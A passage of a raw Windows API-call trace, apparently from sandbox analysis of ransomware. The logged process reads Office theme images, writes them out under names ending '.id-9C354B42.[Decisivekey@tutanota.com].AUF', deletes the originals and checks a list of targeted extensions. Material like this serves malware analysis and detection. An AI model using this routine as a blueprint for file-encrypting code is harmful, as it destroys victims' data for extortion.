Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0212.531] lstrlenW (lpString=".jpg") returned 4 [0212.531] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.532] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.532] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.532] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=20575) returned 1 [0212.533] CloseHandle (hObject=0x208) returned 1 [0212.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0212.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.533] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.533] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.533] GetLastError () returned 0x0 [0212.533] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x505f, lpOverlapped=0x0) returned 1 [0212.549] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0212.550] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.550] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.550] SetEndOfFile (hFile=0x1e4) returned 1 [0212.550] CloseHandle (hObject=0x1e4) returned 1 [0212.550] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.550] SetEndOfFile (hFile=0x208) returned 1 [0212.551] CloseHandle (hObject=0x208) returned 1 [0212.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.552] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0212.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.552] lstrlenW (lpString=".doc") returned 4 [0212.552] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.552] lstrlenW (lpString=".docx") returned 5 [0212.552] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.552] lstrlenW (lpString=".pdf") returned 4 [0212.552] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.552] lstrlenW (lpString=".xls") returned 4 [0212.552] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.552] lstrlenW (lpString=".xlsx") returned 5 [0212.552] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.552] lstrlenW (lpString=".ppt") returned 4 [0212.552] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.552] lstrlenW (lpString=".zip") returned 4 [0212.552] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.552] lstrlenW (lpString=".rar") returned 4 [0212.552] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.552] lstrlenW (lpString=".bz2") returned 4 [0212.552] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.552] lstrlenW (lpString=".7z") returned 3 [0212.552] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.552] lstrlenW (lpString=".dbf") returned 4 [0212.552] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.552] lstrlenW (lpString=".1cd") returned 4 [0212.553] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".jpg") returned 4 [0212.553] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".doc") returned 4 [0212.553] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString=".docx") returned 5 [0212.553] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.553] lstrlenW (lpString=".pdf") returned 4 [0212.553] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString=".xls") returned 4 [0212.553] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.553] lstrlenW (lpString=".xlsx") returned 5 [0212.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.553] lstrlenW (lpString=".ppt") returned 4 [0212.553] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".zip") returned 4 [0212.553] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.553] lstrlenW (lpString=".rar") returned 4 [0212.553] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.553] lstrlenW (lpString=".bz2") returned 4 [0212.553] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString=".7z") returned 3 [0212.553] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".dbf") returned 4 [0212.553] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".1cd") returned 4 [0212.553] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0212.553] lstrlenW (lpString=".jpg") returned 4 [0212.553] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.553] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.553] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.554] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1287) returned 1 [0212.554] CloseHandle (hObject=0x208) returned 1 [0212.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0212.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.554] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.554] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.560] GetLastError () returned 0x0 [0212.560] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x507, lpOverlapped=0x0) returned 1 [0212.575] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x510, lpOverlapped=0x0) returned 1 [0212.576] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.576] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.576] SetEndOfFile (hFile=0x1e4) returned 1 [0212.576] CloseHandle (hObject=0x1e4) returned 1 [0212.576] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.577] SetEndOfFile (hFile=0x208) returned 1 [0212.577] CloseHandle (hObject=0x208) returned 1 [0212.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString=".doc") returned 4 [0212.578] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.578] lstrlenW (lpString=".docx") returned 5 [0212.578] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.578] lstrlenW (lpString=".pdf") returned 4 [0212.578] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString=".xls") returned 4 [0212.578] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString=".xlsx") returned 5 [0212.578] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.578] lstrlenW (lpString=".ppt") returned 4 [0212.578] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString=".zip") returned 4 [0212.578] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString=".rar") returned 4 [0212.578] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString=".bz2") returned 4 [0212.578] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.578] lstrlenW (lpString=".7z") returned 3 [0212.578] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString=".dbf") returned 4 [0212.578] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString=".1cd") returned 4 [0212.578] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString=".jpg") returned 4 [0212.578] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.579] lstrlenW (lpString=".doc") returned 4 [0212.579] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.579] lstrlenW (lpString=".docx") returned 5 [0212.579] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.579] lstrlenW (lpString=".pdf") returned 4 [0212.579] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.579] lstrlenW (lpString=".xls") returned 4 [0212.579] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.579] lstrlenW (lpString=".xlsx") returned 5 [0212.579] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.579] lstrlenW (lpString=".ppt") returned 4 [0212.579] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.579] lstrlenW (lpString=".zip") returned 4 [0212.579] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.579] lstrlenW (lpString=".rar") returned 4 [0212.579] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.579] lstrlenW (lpString=".bz2") returned 4 [0212.579] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.579] lstrlenW (lpString=".7z") returned 3 [0212.579] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.579] lstrlenW (lpString=".dbf") returned 4 [0212.579] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.579] lstrlenW (lpString=".1cd") returned 4 [0212.579] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0212.579] lstrlenW (lpString=".jpg") returned 4 [0212.579] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.579] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.579] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.581] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=33277) returned 1 [0212.581] CloseHandle (hObject=0x208) returned 1 [0212.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0212.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.581] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.582] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.585] GetLastError () returned 0x0 [0212.585] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0212.587] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0212.588] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.588] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.588] SetEndOfFile (hFile=0x1e4) returned 1 [0212.588] CloseHandle (hObject=0x1e4) returned 1 [0212.588] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.588] SetEndOfFile (hFile=0x208) returned 1 [0212.589] CloseHandle (hObject=0x208) returned 1 [0212.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.589] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".doc") returned 4 [0212.590] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString=".docx") returned 5 [0212.590] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.590] lstrlenW (lpString=".pdf") returned 4 [0212.590] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString=".xls") returned 4 [0212.590] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.590] lstrlenW (lpString=".xlsx") returned 5 [0212.590] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.590] lstrlenW (lpString=".ppt") returned 4 [0212.590] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".zip") returned 4 [0212.590] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.590] lstrlenW (lpString=".rar") returned 4 [0212.590] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.590] lstrlenW (lpString=".bz2") returned 4 [0212.590] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString=".7z") returned 3 [0212.590] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".dbf") returned 4 [0212.590] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".1cd") returned 4 [0212.590] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".jpg") returned 4 [0212.590] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.590] lstrlenW (lpString=".doc") returned 4 [0212.590] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString=".docx") returned 5 [0212.590] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.590] lstrlenW (lpString=".pdf") returned 4 [0212.590] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.590] lstrlenW (lpString=".xls") returned 4 [0212.590] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.590] lstrlenW (lpString=".xlsx") returned 5 [0212.591] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.591] lstrlenW (lpString=".ppt") returned 4 [0212.591] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.591] lstrlenW (lpString=".zip") returned 4 [0212.591] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.591] lstrlenW (lpString=".rar") returned 4 [0212.591] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.591] lstrlenW (lpString=".bz2") returned 4 [0212.591] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.591] lstrlenW (lpString=".7z") returned 3 [0212.591] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.591] lstrlenW (lpString=".dbf") returned 4 [0212.591] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.591] lstrlenW (lpString="C:\\Program 